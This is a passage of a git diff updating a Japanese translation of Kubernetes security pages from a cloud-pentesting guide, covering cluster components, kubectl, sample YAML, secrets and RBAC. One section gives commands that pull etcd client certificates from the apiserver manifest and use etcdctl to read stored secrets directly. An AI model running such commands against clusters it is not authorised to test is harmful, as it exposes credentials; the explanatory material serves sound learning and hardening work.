IP** で公開される。internal または external として設定できる。service は、**2つの pod が同じ service に接続** されている場合、**load balancer** としても機能する。\ +**service** が **作成** されると、各 service の endpoints は `kubectl get endpoints` で確認できる。 +- **Kubelet**: 主要な node agent。node と kubectl の間の通信を確立する component で、pod を実行できるのはこれだけ（API server 経由）。kubelet は Kubernetes によって作成されていない container は管理しない。 +- **Kube-proxy**: apiserver と node 間の通信（services）を担当する service。基盤は node 用の IPtables。経験豊富なユーザーは、他ベンダーの別の kube-proxy をインストールすることもできる。 +- **Sidecar container**: main container と一緒に pod 内で動作すべき container。sidecar pattern は、既存の container を変更せずに、その機能を拡張・強化する。現在では、application をどこでも動かせるように必要な依存関係をすべて container technology で包む。container は 1つのことだけを行い、そのことを非常にうまく行う。 +- **Master process:** +- **Api Server:** users と pod が master process と通信するための方法。authenticated request のみを許可すべき。 +- **Scheduler**: Scheduling とは、Pod が Node に割り当てられて Kubelet がそれを実行できるようにすること。どの node により多くの available resources があるかを判断し、新しい pod をその node に割り当てるだけの十分な intelligence を持つ。scheduler は新しい pod を起動するのではなく、node 内で動作している Kubelet process と通信するだけであり、その Kubelet が新しい pod を起動する。 +- **Kube Controller manager**: replica sets や deployments のような resources を確認し、たとえば正しい数の pod や node が実行されているかをチェックする。pod が不足している場合は、scheduler と通信して新しいものを起動する。replication、tokens、account services を API に対して制御する。 +- **etcd**: Data storage、persistent、consistent、distributed。Kubernetes の database であり、cluster の完全な state を保持する key-value storage（各変更はここに記録される）。Scheduler や Controller manager のような component は、どの変更が発生したかを知るためにこの date に依存する（node の available resourced、実行中の pod 数...）。 +- **Cloud controller manager**: flow controls や applications のための特定の controller。例: AWS や OpenStack 上に cluster がある場合。 -ノードが複数（複数のポッドを実行）される可能性があるため、Apiサーバーへのアクセスが負荷分散され、etcdが同期される複数のマスタープロセスも存在する可能性があります。 +複数の node（複数の pod を実行）がある場合、複数の master process もあり得る。その場合、それらの Api server への access は load balanced され、etcd は同期される。 -**ボリューム:** +**Volumes:** -ポッドが消えると失われるべきでないデータを作成する場合、それは物理ボリュームに保存されるべきです。**Kubernetesはデータを永続化するためにポッドにボリュームをアタッチすることを許可します**。ボリュームはローカルマシンまたは**リモートストレージ**に存在する可能性があります。異なる物理ノードでポッドを実行している場合、すべてのポッドがアクセスできるようにリモートストレージを使用する必要があります。 +pod が、pod が消えても失われるべきではない data を作成した場合、それは physical volume に保存すべき。**Kubernetes allow to attach a volume to a pod to persist the data**。volume は local machine または **remote storage** に置ける。異なる physical node 上で pod を実行している場合は、すべての pod が access できるよう remote storage を使うべき。 -**その他の構成:** +**Other configurations:** -- **ConfigMap**: サービスにアクセスするための**URL**を構成できます。ポッドはここからデータを取得して、他のサービス（ポッド）と通信する方法を知ります。これは資格情報を保存するための推奨場所ではないことに注意してください！ -- **Secret**: これは**パスワード、APIキー**などの秘密データをB64でエンコードして**保存する場所**です。ポッドは必要な資格情報を使用するためにこのデータにアクセスできます。 -- **Deployments**: これはKubernetesによって実行されるコンポーネントが示される場所です。ユーザーは通常ポッドと直接作業することはなく、ポッドは**ReplicaSets**（複製された同じポッドの数）で抽象化され、デプロイメントを介して実行されます。デプロイメントは**ステートレス**アプリケーション用であることに注意してください。デプロイメントの最小構成は、名前と実行するイメージです。 -- **StatefulSet**: このコンポーネントは、**データベース**のようなアプリケーション専用です。これらは**同じストレージにアクセスする必要があります**。 -- **Ingress**: これは**アプリケーションをURLで公開するために使用される構成**です。これは外部サービスを使用しても行うことができますが、アプリケーションを公開する正しい方法です。 -- Ingressを実装する場合、**Ingress Controllers**を作成する必要があります。Ingress Controllerは、リクエストを受け取り、チェックし、サービスに負荷分散するエンドポイントとなる**ポッド**です。Ingress Controllerは**構成されたIngressルールに基づいてリクエストを送信します**。Ingressルールは、異なるパスや異なる内部Kubernetesサービスへのサブドメインを指すことができます。 -- より良いセキュリティプラクティスは、Kubernetesクラスターの一部が公開されないように、エントリーポイントとしてクラウドロードバランサーまたはプロキシサーバーを使用することです。 -- どのIngressルールにも一致しないリクエストが受信されると、Ingress Controllerはそれを「**デフォルトバックエンド**」に向けます。このパラメータのアドレスを取得するには、Ingress Controllerを`describe`できます。 +- **ConfigMap**: services に access するための **URLs** を設定できる。pod はここから data を取得して、他の services（pods）とどう通信するかを知る。ただし、credentials を保存する場所としては推奨されない。 +- **Secret**: passwords、API keys... のような secret data を **store** する場所。B64 で encoded される。pod は必要な credentials を使うためにこの data に access できる。 +- **Deployments**: kubernetes によって実行される component を指定する場所。通常、user は pod を直接扱わず、pod は **ReplicaSets**（同一 pod の複製数）に抽象化され、それらは deployments 経由で実行される。deployments は **stateless** application 向け。deployment の最低限の configuration は name と実行する image。 +- **StatefulSet**: これは **databases** のような application 向けの component で、**同じ storage への access** が必要なものを対象とする。 +- **Ingress**: application を **URL で public に expose** するために使う configuration。external services でも可能だが、application を expose する正しい方法はこちら。 +- Ingress を実装する場合は **Ingress Controllers** を作成する必要がある。Ingress Controller は requests を受け取り、確認し、それらを services に load balance する **pod**。ingress controller は **configure された ingress rules に基づいて request を送信** する。ingress rules は、異なる path や subdomains を異なる internal kubernetes services に向けることができる。 +- より良い security practice は、cloud load balancer や proxy server を entrypoint として使い、Kubernetes cluster の一部を露出しないこと。 +- いずれの ingress rule にも一致しない request を受信した場合、ingress controller はそれを "**Default backend**" に振り分ける。この parameter の address は ingress controller を `describe` すれば取得できる。 - `minikube addons enable ingress` -### PKIインフラストラクチャ - 証明書機関CA: +### PKI infrastructure - Certificate Authority CA: -![](https://sickrov.github.io/media/Screenshot-66.jpg) +![Kubernetes CA and PKI diagram showing API server certificates between clients, scheduler, controller manager, kubelet, and etcd](https://sickrov.github.io/media/Screenshot-66.jpg) -- CAはクラスター内のすべての証明書の信頼されたルートです。 -- コンポーネントが互いに検証できるようにします。 -- すべてのクラスター証明書はCAによって署名されています。 -- etcdは独自の証明書を持っています。 -- タイプ: +- CA is cluster 内のすべての certificate の trusted root。 +- component 同士が相互に validate できるようにする。 +- すべての cluster certificates は CA により署名される。 +- ETCd は独自の certificate を持つ。 +- types: - apiserver cert. - kubelet cert. - scheduler cert. -## 基本的なアクション +## Basic Actions ### Minikube -**Minikube**は、完全なKubernetes環境をデプロイすることなく、Kubernetesでいくつかの**クイックテスト**を実行するために使用できます。**マスターとノードプロセスを1台のマシンで実行します**。Minikubeはノードを実行するためにvirtualboxを使用します。**インストール方法は** [**こちら**](https://minikube.sigs.k8s.io/docs/start/) **を参照してください。** +**Minikube** は、完全な kubernetes environment を deploy することなく、kubernetes 上でいくつかの **quick tests** を行うために使える。**master と node process を 1台の machine 上で** 実行する。Minikube は node を実行するために virtualbox を使う。インストール方法は [**here how to install it**](https://minikube.sigs.k8s.io/docs/start/) を参照。 ``` $ minikube start 😄 minikube v1.19.0 on Ubuntu 20.04 @@ -103,9 +103,9 @@ $ minikube delete 🔥 Deleting "minikube" in virtualbox ... 💀 Removed all traces of the "minikube" cluster ``` -### Kubectlの基本 +### Kubectl Basics -**`Kubectl`** はkubernetesクラスター用のコマンドラインツールです。これは、kubernetes内でアクションを実行したりデータを要求したりするために、マスタープロセスのApiサーバーと通信します。 +**`Kubectl`** は kubernetes clusters 用の command line tool です。master process の Api server と通信して、kubernetes 上で actions を実行したり、data を取得したりします。 ```bash kubectl version #Get client and server version kubectl get pod @@ -138,7 +138,7 @@ kubectl apply -f deployment.yml ``` ### Minikube Dashboard -ダッシュボードを使用すると、minikubeが何を実行しているかをより簡単に確認できます。アクセスするためのURLは次の場所にあります: +dashboardを使うと、minikubeが何を実行しているかをより簡単に確認できます。アクセスするためのURLは次で見つけられます: ``` minikube dashboard --url @@ -151,14 +151,14 @@ minikube dashboard --url 🤔 Verifying proxy health ... http://127.0.0.1:50034/api/v1/namespaces/kubernetes-dashboard/services/http:kubernetes-dashboard:/proxy/ ``` -### YAML構成ファイルの例 +### YAML configuration files examples -各構成ファイルには3つの部分があります: **metadata**、**specification**（起動する必要があるもの）、**status**（望ましい状態）。\ -デプロイメント構成ファイルの仕様の中には、実行するイメージを定義する新しい構成構造で定義されたテンプレートがあります: +各 configuration file には 3 つの部分があります: **metadata**, **specification** (**what need to be launch**), **status** (**desired state**)。\ +deployment configuration file の specification 内には、実行する image を定義する新しい configuration structure で定義された template を見つけることができます: -**同じ構成ファイルで宣言されたDeployment + Serviceの例（** [**こちら**](https://gitlab.com/nanuchi/youtube-tutorial-series/-/blob/master/demo-kubernetes-components/mongo.yaml)**から）** +**同じ configuration file 内で宣言された Deployment + Service の例（** [**here**](https://gitlab.com/nanuchi/youtube-tutorial-series/-/blob/master/demo-kubernetes-components/mongo.yaml)**）** -サービスは通常1つのデプロイメントに関連しているため、同じ構成ファイルで両方を宣言することが可能です（この構成で宣言されたサービスは内部からのみアクセス可能です）： +service は通常 1 つの deployment に関連しているため、両方を同じ configuration file に宣言することができます（この config で宣言された service は内部からのみアクセス可能です）: ```yaml apiVersion: apps/v1 kind: Deployment @@ -205,9 +205,9 @@ ports: port: 27017 targetPort: 27017 ``` -**外部サービス構成の例** +**外部 service config の例** -このサービスは外部からアクセス可能です（`nodePort` と `type: LoadBlancer` 属性を確認してください）： +この service は外部からアクセス可能になります（`nodePort` と `type: LoadBlancer` 属性を確認してください）： ```yaml --- apiVersion: v1 @@ -225,11 +225,11 @@ targetPort: 8081 nodePort: 30000 ``` > [!NOTE] -> これはテストに役立ちますが、本番環境では内部サービスのみを持ち、アプリケーションを公開するためにIngressを使用するべきです。 +> これはテストには便利ですが、本番では内部サービスのみを持ち、アプリケーションを公開するために Ingress を使うべきです。 -**Ingress構成ファイルの例** +**Ingress config file の例** -これにより、アプリケーションが`http://dashboard.com`で公開されます。 +これにより、アプリケーションは `http://dashboard.com` で公開されます。 ```yaml apiVersion: networking.k8s.io/v1 kind: Ingress @@ -245,9 +245,9 @@ paths: serviceName: kubernetes-dashboard servicePort: 80 ``` -**秘密の設定ファイルの例** +**Secrets config fileの例** -パスワードがB64でエンコードされていることに注意してください（これは安全ではありません！） +passwordがB64でエンコードされていることに注目してください（これはsecureではありません！） ```yaml apiVersion: v1 kind: Secret @@ -260,7 +260,7 @@ mongo-root-password: cGFzc3dvcmQ= ``` **ConfigMapの例** -A **ConfigMap**は、ポッドに与えられる設定であり、ポッドが他のサービスをどのように見つけてアクセスするかを知るためのものです。この場合、各ポッドは、名前`mongodb-service`が通信できるポッドのアドレスであることを知っています（このポッドはmongodbを実行します）： +**ConfigMap** は、pods に与えられる設定で、他の services をどのように見つけてアクセスするかを理解できるようにします。この場合、各 pod は `mongodb-service` という名前が、通信できる pod のアドレスであることを認識します（この pod は mongodb を実行します）： ```yaml apiVersion: v1 kind: ConfigMap @@ -269,7 +269,7 @@ name: mongodb-configmap data: database_url: mongodb-service ``` -その後、**deployment config**内で、このアドレスは次のように指定でき、ポッドのenv内にロードされます： +その後、**deployment config** 内で、このアドレスは次のように指定でき、pod の env 内に読み込まれます: ```yaml [...] spec: @@ -290,18 +290,18 @@ name: mongodb-configmap key: database_url [...] ``` -**ボリューム設定の例** +**volume config の例** -さまざまなストレージ構成のyamlファイルの例は、[https://gitlab.com/nanuchi/youtube-tutorial-series/-/tree/master/kubernetes-volumes](https://gitlab.com/nanuchi/youtube-tutorial-series/-/tree/master/kubernetes-volumes)で見つけることができます。\ -**ボリュームは名前空間内にはありません** +[https://gitlab.com/nanuchi/youtube-tutorial-series/-/tree/master/kubernetes-volumes](https://gitlab.com/nanuchi/youtube-tutorial-series/-/tree/master/kubernetes-volumes) で、さまざまな storage configuration yaml files の例を見つけることができます。\ +**volumes は namespaces の内側にはないことに注意してください** -### 名前空間 +### Namespaces -Kubernetesは、同じ物理クラスターにバックアップされた**複数の仮想クラスター**をサポートしています。これらの仮想クラスターは**名前空間**と呼ばれます。これは、複数のチームやプロジェクトにまたがる多くのユーザーがいる環境での使用を意図しています。数人から十数人のユーザーがいるクラスターでは、名前空間を作成したり考えたりする必要はありません。Kubernetesにデプロイされたアプリケーションの各部分をより良く制御し、整理するために名前空間を使用し始めるべきです。 +Kubernetes は、同じ physical cluster を基盤とする **multiple virtual clusters** をサポートします。これらの virtual clusters は **namespaces** と呼ばれます。これは、複数の team や project にまたがって多くの users がいる環境での使用を想定しています。数人から数十人規模の users の cluster では、namespace を作成したり意識したりする必要は基本的にありません。kubernetes にデプロイされた application の各部分をよりよく管理・整理したい場合にのみ、namespace を使い始めれば十分です。 -名前空間は名前のスコープを提供します。リソースの名前は名前空間内で一意である必要がありますが、名前空間間では一意である必要はありません。名前空間は互いにネストすることはできず、**各**Kubernetes **リソース**は**1つの** **名前空間**の**み**に存在できます。 +Namespaces は名前のスコープを提供します。resources の名前は、同じ namespace 内では一意である必要がありますが、namespace をまたいで一意である必要はありません。Namespaces は互いに入れ子にはできず、**各** Kubernetes **resource** は **1つの** **namespace** にしか属せません。 -minikubeを使用している場合、デフォルトで4つの名前空間があります: +minikube を使用している場合、デフォルトで 4 つの namespaces があります: ``` kubectl get namespace NAME STATUS AGE @@ -310,67 +310,67 @@ kube-node-lease Active 1d kube-public Active 1d kube-system Active 1d ``` -- **kube-system**: ユーザーが使用するためのものではなく、触れるべきではありません。マスターおよびkubectlプロセス用です。 -- **kube-public**: 公開アクセス可能なデータ。クラスター情報を含むconfigmapが含まれています。 -- **kube-node-lease**: ノードの可用性を決定します。 -- **default**: ユーザーがリソースを作成するために使用する名前空間です。 +- **kube-system**: ユーザーが使うためのものではなく、触るべきではありません。master と kubectl プロセス用です。 +- **kube-public**: 公開アクセス可能なデータ。クラスタ情報を含む configmap を含みます +- **kube-node-lease**: ノードの利用可否を判定します +- **default**: ユーザーが resource を作成するために使う namespace です ```bash #Create namespace kubectl create namespace my-namespace ``` > [!NOTE] -> 注意すべきは、ほとんどのKubernetesリソース（例：ポッド、サービス、レプリケーションコントローラーなど）は、いくつかのネームスペースに存在します。しかし、ネームスペースリソースやノード、persistentVolumesなどの低レベルリソースのような他のリソースは、ネームスペースに存在しません。どのKubernetesリソースがネームスペースにあり、どれがないかを確認するには： +> ほとんどの Kubernetes resources（例: pods, services, replication controllers など）は、何らかの namespace に属します。However, namespace resources や、nodes や persistenVolumes のような low-level resources は namespace に属しません。どの Kubernetes resources が namespace に属し、どれが属さないかを確認するには: > > ```bash -> kubectl api-resources --namespaced=true #ネームスペース内 -> kubectl api-resources --namespaced=false #ネームスペース外 +> kubectl api-resources --namespaced=true #In a namespace +> kubectl api-resources --namespaced=false #Not in a namespace > ``` -そのコンテキスト内で、すべての後続のkubectlコマンドのためにネームスペースを保存できます。 +その context において、以降のすべての kubectl commands 用に namespace を保存できます。 ```bash kubectl config set-context --current --namespace= ``` ### Helm -HelmはKubernetesの**パッケージマネージャー**です。YAMLファイルをパッケージ化し、公開およびプライベートリポジトリで配布することを可能にします。これらのパッケージは**Helm Charts**と呼ばれます。 +Helm は Kubernetes の **package manager** です。YAML ファイルを package 化して、public および private の repositories で配布できます。これらの packages は **Helm Charts** と呼ばれます。 ``` helm search ``` -Helmは、変数を使用して設定ファイルを生成するテンプレートエンジンでもあります。 +Helm は、変数を使って config files を生成できる template engine でもあります: -## Kubernetesシークレット +## Kubernetes secrets -**Secret**は、パスワード、トークン、またはキーなどの**機密データを含む**オブジェクトです。このような情報は、Pod仕様やイメージに置かれることがあります。ユーザーはSecretsを作成でき、システムもSecretsを作成します。Secretオブジェクトの名前は有効な**DNSサブドメイン名**でなければなりません。こちらで[公式ドキュメント](https://kubernetes.io/docs/concepts/configuration/secret/)をお読みください。 +**Secret** は、password、token、key などの **sensitive data** を **contains** する object です。このような情報は、Pod specification や image の中に置かれていることがあります。Users は Secrets を作成でき、system も Secrets を作成します。Secret object の name は有効な **DNS subdomain name** でなければなりません。ここを参照してください [the official documentation](https://kubernetes.io/docs/concepts/configuration/secret/). -Secretsには以下のようなものがあります： +Secrets には次のようなものがあります: -- API、SSHキー。 -- OAuthトークン。 -- 資格情報、パスワード（プレーンテキストまたはb64 + 暗号化）。 -- 情報やコメント。 -- データベース接続コード、文字列… 。 +- API, SSH Keys. +- OAuth tokens. +- Credentials, Passwords (plain text or b64 + encryption). +- Information or comments. +- Database connection code, strings… . -Kubernetesには異なるタイプのシークレットがあります。 +Kubernetes には、異なる types の secrets があります -| ビルトインタイプ | 使用法 | +| Builtin Type | Usage | | ----------------------------------- | ----------------------------------------- | -| **Opaque** | **任意のユーザー定義データ（デフォルト）** | -| kubernetes.io/service-account-token | サービスアカウントトークン | -| kubernetes.io/dockercfg | シリアライズされた\~/.dockercfgファイル | -| kubernetes.io/dockerconfigjson | シリアライズされた\~/.docker/config.jsonファイル | -| kubernetes.io/basic-auth | ベーシック認証のための資格情報 | -| kubernetes.io/ssh-auth | SSH認証のための資格情報 | -| kubernetes.io/tls | TLSクライアントまたはサーバーのためのデータ | -| bootstrap.kubernetes.io/token | ブートストラップトークンデータ | +| **Opaque** | **arbitrary user-defined data (Default)** | +| kubernetes.io/service-account-token | service account token | +| kubernetes.io/dockercfg | serialized \~/.dockercfg file | +| kubernetes.io/dockerconfigjson | serialized \~/.docker/config.json file | +| kubernetes.io/basic-auth | credentials for basic authentication | +| kubernetes.io/ssh-auth | credentials for SSH authentication | +| kubernetes.io/tls | data for a TLS client or server | +| bootstrap.kubernetes.io/token | bootstrap token data | > [!NOTE] -> **Opaqueタイプはデフォルトで、ユーザーによって定義された典型的なキー-バリューペアです。** +> **Opaque type は default で、users が定義する典型的な key-value pair です。** -**シークレットの動作：** +**secrets の仕組み:** -![](https://sickrov.github.io/media/Screenshot-164.jpg) +![Kubernetes secrets diagram showing secret data reaching the API server and being consumed by a pod](https://sickrov.github.io/media/Screenshot-164.jpg) -次の設定ファイルは、`mysecret`という**シークレット**を定義し、2つのキー-バリューペア`username: YWRtaW4=`と`password: MWYyZDFlMmU2N2Rm`を持っています。また、`mysecret`で定義された`username`と`password`が**環境変数**`SECRET_USERNAME` \_\_ と \_\_ `SECRET_PASSWOR`に公開される`secretpod`という**pod**も定義しています。さらに、`mysecret`内の`username`シークレットを`/etc/foo/my-group/my-username`のパスに`0640`の権限で**マウント**します。 +以下の configuration file は、`username: YWRtaW4=` と `password: MWYyZDFlMmU2N2Rm` の 2 つの key-value pairs を持つ `mysecret` という **secret** を定義します。また、`secretpod` という **pod** も定義しており、`mysecret` で定義された `username` と `password` を **environment variables** `SECRET_USERNAME` \_\_ および \_\_ `SECRET_PASSWOR` として exposed します。さらに、`mysecret` 内の `username` secret を `/etc/foo/my-group/my-username` の path に `0640` permissions で **mount** します。 ```yaml:secretpod.yaml apiVersion: v1 kind: Secret @@ -420,27 +420,27 @@ kubectl get pods #Wait until the pod secretpod is running kubectl exec -it secretpod -- bash env | grep SECRET && cat /etc/foo/my-group/my-username && echo ``` -### Secrets in etcd +### etcd内のSecrets -**etcd** は、すべてのクラスターデータのための Kubernetes バッキングストアとして使用される、一貫性があり高可用性の **キー-バリューストア** です。etcd に保存されている秘密にアクセスしてみましょう: +**etcd** は、Kubernetesのバックエンドストアとして全クラスタデータに使われる、一貫性があり高可用な **key-value store** です。etcdに保存されている secrets にアクセスしてみましょう: ```bash cat /etc/kubernetes/manifests/kube-apiserver.yaml | grep etcd ``` -証明書、キー、URLがファイルシステムにどこにあるかを見ることができます。それを取得すれば、etcdに接続できるようになります。 +FS内にcerts、keys、url’sが配置されているのが見えるでしょう。それらを入手できれば、etcdに接続できるようになります。 ```bash #ETCDCTL_API=3 etcdctl --cert --key --cacert endpoint=[] health ETCDCTL_API=3 etcdctl --cert /etc/kubernetes/pki/apiserver-etcd-client.crt --key /etc/kubernetes/pki/apiserver-etcd-client.key --cacert /etc/kubernetes/pki/etcd/etcd/ca.cert endpoint=[127.0.0.1:1234] health ``` -通信を確立すると、秘密を取得できるようになります： +通信を確立すると、secrets を取得できるようになります: ```bash #ETCDCTL_API=3 etcdctl --cert --key --cacert endpoint=[] get ETCDCTL_API=3 etcdctl --cert /etc/kubernetes/pki/apiserver-etcd-client.crt --key /etc/kubernetes/pki/apiserver-etcd-client.key --cacert /etc/kubernetes/pki/etcd/etcd/ca.cert endpoint=[127.0.0.1:1234] get /registry/secrets/default/secret_02 ``` -**ETCDへの暗号化の追加** +**ETCDに暗号化を追加する** -デフォルトでは、すべてのシークレットは**プレーン**テキストでetcd内に保存されますが、暗号化レイヤーを適用しない限りそうなります。以下の例は[https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/](https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/)に基づいています。 +デフォルトでは、すべての secrets は暗号化レイヤーを適用しない限り etcd 内に**平文で保存**されます。以下の例は [https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/](https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/) に基づいています。 ```yaml:encryption.yaml apiVersion: apiserver.config.k8s.io/v1 kind: EncryptionConfiguration @@ -454,20 +454,20 @@ keys: secret: cjjPMcWpTPKhAdieVtd+KhG4NN+N6e3NmBPMXJvbfrY= #Any random key - identity: {} ``` -その後、作成した設定ファイルの場所を指すように `kube-apiserver` の `--encryption-provider-config` フラグを設定する必要があります。 `/etc/kubernetes/manifest/kube-apiserver.yaml` を修正し、以下の行を追加できます： +その後、作成した config file の場所を指すように `kube-apiserver` に `--encryption-provider-config` フラグを設定する必要があります。`/etc/kubernetes/manifest/kube-apiserver.yaml` を変更して、以下の行を追加できます: ```yaml containers: - command: - kube-apiserver - --encriyption-provider-config=/etc/kubernetes/etcd/ ``` -ボリュームマウント内をスクロールダウンします: +volumeMounts で下にスクロールします: ```yaml - mountPath: /etc/kubernetes/etcd name: etcd readOnly: true ``` -ボリュームマウントの hostPath までスクロールします: +volumeMounts までスクロールして hostPath: を確認してください ```yaml - hostPath: path: /etc/kubernetes/etcd @@ -476,41 +476,41 @@ name: etcd ``` **データが暗号化されていることの確認** -データは、etcdに書き込まれるときに暗号化されます。`kube-apiserver`を再起動した後、新しく作成されたり更新されたシークレットは、保存される際に暗号化されるべきです。確認するには、`etcdctl`コマンドラインプログラムを使用してシークレットの内容を取得できます。 +データは etcd に書き込まれるときに暗号化されます。`kube-apiserver` を再起動した後に、新しく作成または更新された secret は、保存時に暗号化されるはずです。確認するには、`etcdctl` コマンドラインプログラムを使って secret の内容を取得できます。 -1. `default`ネームスペースに`secret1`という新しいシークレットを作成します: +1. `default` namespace に `secret1` という新しい secret を作成します: ``` kubectl create secret generic secret1 -n default --from-literal=mykey=mydata ``` -2. etcdctlコマンドラインを使用して、そのシークレットをetcdから読み取ります: +2. etcdctl コマンドラインを使って、その secret を etcd から読み出します: `ETCDCTL_API=3 etcdctl get /registry/secrets/default/secret1 [...] | hexdump -C` -ここで`[...]`は、etcdサーバーに接続するための追加の引数でなければなりません。 +ここで `[...]` は etcd server に接続するための追加引数です。 -3. 保存されたシークレットが`k8s:enc:aescbc:v1:`で始まることを確認します。これは、`aescbc`プロバイダーが結果のデータを暗号化したことを示しています。 -4. APIを介して取得したときにシークレットが正しく復号化されていることを確認します: +3. 保存された secret が `k8s:enc:aescbc:v1:` で始まっていることを確認します。これは `aescbc` provider が結果のデータを暗号化したことを示します。 +4. API 経由で取得したときに secret が正しく復号されることを確認します: ``` kubectl describe secret secret1 -n default ``` -これは`mykey: bXlkYXRh`と一致するべきです。mydataはエンコードされているため、シークレットを完全に復号化するには[シークレットの復号化](https://kubernetes.io/docs/concepts/configuration/secret#decoding-a-secret)を確認してください。 +は `mykey: bXlkYXRh` と一致するはずです。`mydata` はエンコードされています。secret を完全にデコードするには [decoding a secret](https://kubernetes.io/docs/concepts/configuration/secret#decoding-a-secret) を確認してください。 -**シークレットは書き込み時に暗号化されるため、シークレットの更新を行うとその内容が暗号化されます:** +**secret は書き込み時に暗号化されるため、secret を更新するとその内容は暗号化されます:** ``` kubectl get secrets --all-namespaces -o json | kubectl replace -f - ``` **最終的なヒント:** -- FSに秘密を保持しないようにし、他の場所から取得してください。 -- あなたの秘密にさらなる保護を追加するために[https://www.vaultproject.io/](https://www.vaultproject.io)をチェックしてください。 +- secrets を FS に保持しないようにし、他の場所から取得するようにしてください。 +- secrets にさらに保護を追加するために [https://www.vaultproject.io/](https://www.vaultproject.io) を確認してください。 - [https://kubernetes.io/docs/concepts/configuration/secret/#risks](https://kubernetes.io/docs/concepts/configuration/secret/#risks) - [https://docs.cyberark.com/Product-Doc/OnlineHelp/AAM-DAP/11.2/en/Content/Integrations/Kubernetes_deployApplicationsConjur-k8s-Secrets.htm](https://docs.cyberark.com/Product-Doc/OnlineHelp/AAM-DAP/11.2/en/Content/Integrations/Kubernetes_deployApplicationsConjur-k8s-Secrets.htm) -## 参考文献 +## References {{#ref}} https://sickrov.github.io/ diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-role-based-access-control-rbac.md b/src/pentesting-cloud/kubernetes-security/kubernetes-role-based-access-control-rbac.md index ce61d70a6..d40826ca1 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-role-based-access-control-rbac.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-role-based-access-control-rbac.md @@ -4,59 +4,59 @@ ## Role-Based Access Control (RBAC) -Kubernetesには、APIサーバーへの利用権限を設定するのに役立つ**Role-Based Access Control**（[**RBAC**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/)）という**認可モジュール**があります。 +Kubernetes には、API server への利用権限を設定するのに役立つ **authorization module named Role-Based Access Control** ([**RBAC**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/)) があります。 -RBACの権限モデルは、**3つの個別の部分**から構成されています： +RBAC の permission model は、**3つの個別の部分**で構成されています: -1. **Role\ClusterRole ­–** 実際の権限。権限のセットを表す_**ルール**_を含みます。各ルールには[リソース](https://kubernetes.io/docs/reference/kubectl/overview/#resource-types)と[動詞](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#determine-the-request-verb)が含まれます。動詞はリソースに適用されるアクションです。 -2. **Subject (ユーザー、グループ、またはServiceAccount) –** 権限を受け取るオブジェクト。 -3. **RoleBinding\ClusterRoleBinding –** Role\ClusterRoleと対象の間の接続。 +1. **Role\ClusterRole –** 実際の permission。permission の集合を表す _**rules**_ を含みます。各 rule には [resources](https://kubernetes.io/docs/reference/kubectl/overview/#resource-types) と [verbs](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#determine-the-request-verb) が含まれます。verb は resource に対して適用される action です。 +2. **Subject (User, Group or ServiceAccount) –** permission を受け取る object。 +3. **RoleBinding\ClusterRoleBinding –** Role\ClusterRole と subject の間の connection。 -![](https://www.cyberark.com/wp-content/uploads/2018/12/rolebiding_serviceaccount_and_role-1024x551.png) +![Kubernetes RBAC diagram showing RoleBinding connecting a ServiceAccount subject to Role permissions](https://www.cyberark.com/wp-content/uploads/2018/12/rolebiding_serviceaccount_and_role-1024x551.png) -“**Roles**”と“**ClusterRoles**”の違いは、役割が適用される場所だけです。“**Role**”は**1つの特定の** **namespace**にのみアクセスを付与しますが、“**ClusterRole**”はクラスター内の**すべてのnamespace**で使用できます。さらに、**ClusterRoles**は以下へのアクセスも付与できます： +“**Roles**” と “**ClusterRoles**” の違いは、role がどこに適用されるかだけです – “**Role**” は **1つの** **specific** な **namespace** にのみ access を付与し、 “**ClusterRole**” は cluster 内の **すべての namespaces** で使用できます。さらに、**ClusterRoles** は次のものへの access も付与できます: -- **クラスター範囲**のリソース（ノードなど）。 -- **非リソース**エンドポイント（/healthzなど）。 -- 名前空間リソース（Podなど）、**すべてのnamespace**にわたって。 +- **cluster-scoped** resources（nodes など）。 +- **non-resource** endpoints（/healthz など）。 +- namespaced resources（Pods など）、**すべての namespaces にわたって**。 -**Kubernetes** 1.6以降、**RBAC**ポリシーは**デフォルトで有効**になっています。しかし、RBACを有効にするには、次のようなものを使用できます： +**Kubernetes** 1.6 以降、**RBAC** policies は **enabled by default** です。しかし、RBAC を有効化するには次のようなものを使えます: ``` kube-apiserver --authorization-mode=Example,RBAC --other-options --more-options ``` -## テンプレート +## Templates -**Role** または **ClusterRole** のテンプレートでは、**ロールの名前**、**ネームスペース**（ロールの場合）、そして **apiGroups**、**resources**、**verbs** を示す必要があります。 +**Role** または **ClusterRole** のテンプレートでは、**roleのname**、**namespace**（rolesでは）、そしてそのroleの **apiGroups**、**resources**、**verbs** を指定する必要があります: -- **apiGroups** は、このルールが適用される異なる **API ネームスペース** を含む配列です。例えば、Pod 定義は apiVersion: v1 を使用します。_rbac.authorization.k8s.io や \[\*] などの値を持つことができます_。 -- **resources** は、このルールが適用される **リソースを定義する** 配列です。すべてのリソースは次のコマンドで見つけることができます: `kubectl api-resources --namespaced=true` -- **verbs** は、**許可された動詞** を含む配列です。Kubernetes における動詞は、リソースに適用する必要がある **アクションの種類** を定義します。例えば、リスト動詞はコレクションに対して使用され、「get」は単一のリソースに対して使用されます。 +- **apiGroups** は、この rule が適用される異なる **API namespaces** を含む配列です。例えば、Pod の定義は apiVersion: v1 を使います。_rbac.authorization.k8s.io や \[\*] などの値を持つことがあります_. +- **resources** は、この rule がどの **resources** に適用されるかを定義する配列です。すべての resources は次で確認できます: `kubectl api-resources --namespaced=true` +- **verbs** は、許可された **verbs** を含む配列です。Kubernetes における verb は、resource に適用する必要がある **action の種類** を定義します。例えば、list verb は collections に対して使われ、"get" は単一の resource に対して使われます。 -### ルールの動詞 +### Rules Verbs -(_この情報は_ [_**ドキュメント**_](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#determine-the-request-verb) _から取得されました_) +(_This info was taken from_ [_**the docs**_](https://kubernetes.io/docs/reference/access-authn-authz/authorization/index.html#determine-the-request-verb)) -| HTTP 動詞 | リクエスト動詞 | +| HTTP verb | request verb | | --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- | | POST | create | -| GET, HEAD | 